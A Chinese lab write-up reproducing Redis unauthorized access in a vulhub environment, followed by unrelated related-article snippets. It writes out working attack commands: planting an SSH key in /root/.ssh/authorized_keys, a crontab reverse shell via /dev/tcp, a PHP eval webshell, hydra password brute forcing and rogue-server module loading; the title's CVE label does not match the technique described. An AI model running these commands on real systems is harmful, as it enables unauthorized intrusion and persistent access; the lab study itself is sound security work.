redis未授权(CVE-2022-0543)

article/2025/8/7 7:46:31

概述

Redis 默认绑定在 0.0.0.0:6379,在未配置防火墙或访问控制的情况下会将服务暴露在公网上。若未设置访问密码(默认通常为空),攻击者可直接未授权访问 Redis。利用 Redis 提供的 CONFIG 命令,攻击者可修改配置并将数据持久化到指定路径,从而实现向服务器写入任意文件。通过该方式,攻击者可将自己的 SSH 公钥写入 /root/.ssh/authorized_keys 文件中,进而使用对应私钥远程登录目标主机,获取系统权限。

条件
  • Redis服务以root用户身份运行,权限较高。
  • Redis未设置密码或使用弱密码,允许免密或弱认证访问。
  • Redis监听在公网地址(如0.0.0.0:6379),且未配置防火墙等访问控制,导致任意IP均可连接。
方法
  • 使用 INFO 命令获取Redis服务器参数和敏感信息,辅助渗透。
  • 上传SSH公钥,实现免密码SSH登录。
  • 利用 crontab 定时任务反弹Shell。
  • 在Web目录写入WebShell。
  • 利用Redis主从复制机制实现远程代码执行(RCE)。
危害
  • 攻击者无需认证即可访问内部数据,导致敏感信息泄露,同时可恶意执行 flushall 清空所有数据。
  • 攻击者可利用 EVAL 命令执行 Lua 代码,或通过数据备份功能向磁盘写入后门程序。
  • 最严重的情况是,当 Redis 以 root 身份运行时,攻击者可写入 root 账户的 SSH 公钥,实现免密码远程登录受害服务器。

漏洞复现

环境准备
vulhub起靶场

靶场目录和启动命令下面都有

docker compose up
docker ps 
攻击机环境准备
wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
测试连通性

截屏2025-05-19 10.42.44

漏洞探测
端口扫描
nmap -sV --open -p- 192.168.64.10 

通常 Redis 服务默认开放在 6379 端口,但我的靶机将其映射到了 52018 端口。但是nmap 仍成功识别出该端口运行的是 Redis 服务。

截屏2025-05-19 11.01.11

连接redis

以下命令用于连接远程 Redis 服务器

./redis-cli -h 192.168.64.10 -p 52018

./redis-cli 表示使用当前目录下的 Redis 命令行客户端进行连接,-h 参数用于指定目标主机的 IP 地址(此处为 192.168.64.10),-p 用于指定 Redis 服务监听的端口号(此处为 52018)。

截屏2025-05-19 11.14.54

获得SSH登陆权限

可以通过向 Redis 数据库中写入 SSH 公钥的方式,获取目标服务器的 SSH 登录权限。

原理

利用 Redis 未授权访问漏洞,将本机的 SSH 公钥作为一个字符串写入 Redis 中(key 值可以随意),然后通过修改 Redis 的工作目录为 /root/.ssh,并将保存文件名设置为 authorized_keys。这样,当 Redis 执行保存操作时,便会将 SSH 公钥写入到目标服务器的 /root/.ssh/authorized_keys 文件中,从而实现免密登录。

生成key

使用以下命令生成一对 SSH 密钥(默认生成 id_rsaid_rsa.pub

ssh-keygen -t rsa

执行命令后按回车使用默认路径和空密码即可。生成完成后,公钥文件 id_rsa.pub 将用于写入目标 Redis 服务器,实现后续的免密 SSH 登录。

导入key.txt文件

以下命令将本机生成的公钥包装成一个带换行的文件 key.txt,用于后续写入 Redis

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
写入靶机

key.txt 的内容写入 Redis 缓存

cat key.txt | ./redis-cli -h 192.168.64.10 -p 51622 -x set test

说明:使用 -x 选项可以将标准输入内容作为值写入键 test。(注:由于靶机重启,端口变更为 51622)

截屏2025-05-19 11.31.46

设置靶机ssh文件

注意如果这里使用docker起环境就不能写入文件(没有权限),下文有exp地址.

./redis-cli -h 192.168.64.10 -p 51622
# 设置 Redis 的工作目录为目标机器的 /root/.ssh 目录
config set dir /root/.ssh
# 设置保存文件名为 authorized_keys(SSH 公钥默认认证文件)
config set dbfilename authorized_keys
# 查看当前所有 key,确认公钥是否已写入缓存
keys *
get test# 将缓存中的数据写入到硬盘文件
save# 之后即可通过 SSH 免密码登录目标主机
ssh root@192.168.64.10# 登录后可以查看写入的公钥文件内容
cat /root/.ssh/authorized_keys

注意:如果 Redis 运行在 Docker 容器中,通常没有权限写入文件系统,无法完成此操作。后文会提供对应的 Exploit 脚本地址。

漏洞利用

通过 crontab 定时任务反弹

原理与写入公钥类似,只是写入内容和路径不同。通过将反弹shell命令写入 /var/spool/cron/root,实现定时执行反弹shell。

# 本地监听端口(端口可自定义,避免冲突)
nc -lv 6666# 连接 Redis,写入反弹shell任务
./redis-cli -h 192.168.64.10
set test2 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/客户端IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
Web目录写入 WebShell

利用 Redis 写入 Web 目录,生成 WebShell,实现远程代码执行。

./redis-cli -h 192.168.64.10
config set dir /var/www/html
set shell "\n\n\n<?php @eval(\$_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save# 利用hydra爆破redis密码(若设置了密码)
hydra -P passwd.txt redis://192.168.1.111
利用 Redis 主从复制实现远程命令执行 (ECE)

Redis 通过主从复制机制分摊压力,但可被攻击者利用伪装为 Redis 主节点,传输恶意模块,实现命令执行。

攻击思路:

  1. 伪装成 Redis 服务器,欺骗受害者将其设置为主节点。
  2. 传输恶意模块(.so 文件)到受害者。
  3. 受害者加载该模块,实现任意命令执行。
./redis-cli -h 192.168.64.10
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"
Redis 常用命令汇总
redis-cli -h ip -p 6379 -a passwd       # 连接远程Redis
info                                  # 查看Redis信息
set key value                        # 设置键值对
get key                             # 获取键值
incr key                            # 递增键值
keys *                             # 查看所有键
config set protected-mode no        # 关闭保护模式
config set dir /path/to/dir         # 设置保存目录
config set dbfilename filename.rdb  # 设置保存文件名
save                               # 保存快照到磁盘
flushall                           # 清空所有数据
del key                           # 删除指定键
slaveof ip port                   # 设置主从复制关系
mset k1 v1 k2 v2 k3 v3            # 批量设置键值
mget k1 k2 k3                     # 批量获取键值

参考文章

  1. Redis未授权访问 (https://wiki.wgpsec.org/knowledge/web/unauthorized.html#redis)
  2. redis未授权漏洞复现(超详细)(https://www.cnblogs.com/qingzhang/articles/18195354)
  3. redis未授权访问漏洞【vulhub靶场】复现(https://blog.csdn.net/m0_55854679/article/details/126100539)

http://www.hkcw.cn/article/RRlADANvQt.shtml

相关文章

帕金森常见情况解读

一、身体出现的异常节奏​ 帕金森会让身体原本协调的 “舞步” 出现错乱。它是一种影响身体行动能力的状况&#xff0c;随着时间推进&#xff0c;就像老旧的时钟&#xff0c;齿轮转动不再顺畅&#xff0c;使得身体各个部位的配合逐渐失衡&#xff0c;打乱日常行动的节奏。​ …

[正点原子]ESP32S3 RGB屏幕移植LVGL

ESP32S3 RGB屏幕移植lvgl 简介准备工作移植过程创建文件加修改配置修改适配文件main函数lvgl的图形化配置 着重要注意的屏幕驱动的问题 效果展示 简介 最近入手了 正点原子ESP32开发版准备学习LVGL&#xff0c;该板子支持RGB屏幕RGB565&#xff0c;之前买Linux开发板的时候有一…

移动安全Android——客户端静态安全

一、反编译保护 测试工具 Jadx GitHub - skylot/jadx: Dex to Java decompiler PKID [下载]PKID-APP查壳工具-Android安全-看雪-安全社区|安全招聘|kanxue.com 测试流程 &#xff08;1&#xff09;通过Jadx对客户端APK文件进行反编译&#xff0c;观察是否进行代码混淆 &…

支持功能安全ASIL-B的矩阵管理芯片IS32LT3365,助力ADB大灯系统轻松实现功能安全等级

随着自动驾驶技术的快速发展&#xff0c;汽车前灯智能化也越来越高。自适应远光灯 (ADB) 作为一种智能照明系统&#xff0c;在提升驾驶安全性和舒适性方面发挥着重要作用。ADB 系统通过摄像头和传感器获取前方道路信息&#xff0c;例如来车的位置、距离和速度&#xff0c;并根据…

Python训练营打卡Day40

DAY 40 训练和测试的规范写法 知识点回顾&#xff1a; 1.彩色和灰度图片测试和训练的规范写法&#xff1a;封装在函数中 2.展平操作&#xff1a;除第一个维度batchsize外全部展平 3.dropout操作&#xff1a;训练阶段随机丢弃神经元&#xff0c;测试阶段eval模式关闭dropout 作…

晨控CK-FR03与汇川H5U系列PLC配置MODBUS TCP通讯连接操作手册

晨控CK-FR03与汇川H5U系列PLC配置MODBUS TCP通讯连接操作手册 CK-FR03-TCP是一款基于射频识别技术的高频RFID标签读卡器&#xff0c;读卡器工作频率为13.56MHZ&#xff0c;支持对I-CODE 2、I-CODE SLI等符合ISO15693国际标准协议格式标签的读取。 读卡器同时支持标准工业通讯协…

二叉树实验

引言 在数据结构的学习过程中&#xff0c;二叉树作为一种典型的非线性结构&#xff0c;其构造和操作方式具有高度的层次性和结构性。而递归正是处理这种结构最自然的方式之一。关于二叉树的基本结构如下图所示&#xff1a; 递归的本质是函数调用自身的过程&#xff0c;这恰好…

【空间光学系统与集成微纳光子学系统简介】

空间光学系统 空间光学系统指用于太空探测、遥感、通信等领域的光学仪器&#xff0c;通常具备高分辨率、轻量化、抗辐射等特性。主要应用包括&#xff1a; 天文观测&#xff1a;如哈勃望远镜、詹姆斯韦伯太空望远镜&#xff08;JWST&#xff09;&#xff0c;利用大口径主镜收集…

开发一款IIS自动检测修复工具

目录 实现的功能 技术栈与依赖 DLL 实现细节 变量 初始化操作 自定义cpu阈值 检测IIS应用程序池 获取自定义阈值 获取某个应用程序池的占用率 获取性能计数器实例名 Kill 并重新启动应用池 写入日志到 Log 目录&#xff0c;并显示在文本框中 实际运行效果 此工具可…

网络编程4-epoll

select底层原理 fd_set底层使用位图标记每个文件标识符有没有被使用&#xff0c;位图在c语言里靠数组实现。 select 流程 在用户态空间里&#xff08;栈、堆、数据段&#xff09;申请一个fd_set将fd_set从用户态拷贝到内核态&#xff08;在后面操作系统轮询会使用到&#xff09…

SOC-ESP32S3部分:19-ADC模数转换

飞书文档https://x509p6c8to.feishu.cn/wiki/XycAwmO6Niitdtka1RAcclYfnvf ESP32-S3 集成了两个 12 位 SAR ADC&#xff0c;共支持 20 个模拟通道输入。 SAR ADC 管脚通过 IO MUX 与 GPIO1 ~ GPIO20、RTC_GPIO1 ~ RTC_GPIO20、触摸传感器接口、UART 接口、SPI 接口、以及 USB…

默克微生物培养基选择指南

微生物学研究需要能在实验室提供各种不同种类的细菌、酵母或病毒。诸如发酵、蛋白质和疫苗生产的大规模过程需要大量处于生理活性状态的细菌。因此&#xff0c;针对各种应用需要有能提供适当的生化环境并保持微生物所有特征的合适的营养培养基。 任何微生物培养基都应包括营养…

移动安全Android——解决APP抓包证书无效问题

问题 通过Burpsuite和ProxyPin进行代理抓包Android APP的时候发现虽然已经正确添加了用户证书&#xff0c;但是还是会出现SSL握手错误&#xff0c;证书无效问题。这是因为Android 7 以上版本APP默认不信任用户证书&#xff0c;只信任系统证书&#xff0c;所以需要将用户证书移动…

【数据库】数据库恢复技术

数据库恢复技术 实现恢复的核心是使用冗余&#xff0c;也就是根据冗余数据重建不正确数据。 事务 事务是一个数据库操作序列&#xff0c;是一个不可分割的工作单位&#xff0c;是恢复和并发的基本单位。 在关系数据库中&#xff0c;一个事务是一条或多条SQL语句&#xff0c…

【学习笔记】深度学习-梯度概念

一、定义 梯度向量不仅表示函数变化的速度&#xff0c;还表示函数增长最快的方向 二、【问】为什么说它表示方向&#xff1f; 三、【问】那在深度学习梯度下降的时候&#xff0c;还要判断梯度是正是负来更新参数吗&#xff1f; 假设某个参数是 w&#xff0c;损失函数对它的…

【ROS2实体机械臂驱动】rokae xCoreSDK Python测试使用

【ROS2实体机械臂驱动】rokae xCoreSDK Python测试使用 文章目录 前言正文配置环境下载源码配置环境变量测试运行修改点说明实际运行情况 参考 前言 本文用来记录 xCoreSDK-Python的调用使用1。 正文 配置环境 配置开发环境&#xff0c;这里使用conda做python环境管理&…

深入浅出网络分析与故障检测工具

目录 网络故障检测工具&#xff1a;别只靠“Ping 不通” 实战组合拳&#xff1a;分析 检测 问题闭环 四、选择工具的几个建议 五、总结&#xff1a;工具是手段&#xff0c;思维才是核心 在如今这个“数据就是生命线”的时代&#xff0c;网络的稳定性和性能直接决定着企业…

使用Haproxy搭建Web群集

目录 1&#xff0c;Haproxy简介 1&#xff0c;核心功能与特点 二&#xff0c;搭建haproxy群集 1&#xff0c;准备工作 2&#xff0c;修改haproxy的配置文件 3&#xff0c;准备网站 4&#xff0c;配置日志 5&#xff0c;验证 1&#xff0c;Haproxy简介 HAProxy 是一款高…

Elasticsearch的写入流程介绍

Elasticsearch 的写入流程是一个涉及 分布式协调、分片路由、数据同步和副本更新 的复杂过程,其设计目标是确保数据一致性、可靠性和高性能。以下是写入流程的详细解析: 一、写入流程总览 二、详细步骤解析 1. 客户端请求路由 请求入口:客户端(如 Java 客户端、REST API)…

记录一次apisix上cros配置跨域失败的问题

安全要求不允许跨域请求&#xff0c;但是业务侧由于涉及多个域名&#xff0c;并且需要共享cookie&#xff0c;所以需要配置跨域。 在apisix上配置了cors如下。 结果安全漏扫还是识别到了跨域请求的漏洞。 调试了cors.lua的插件脚本&#xff0c;发现apisix上是如果不在allowOri…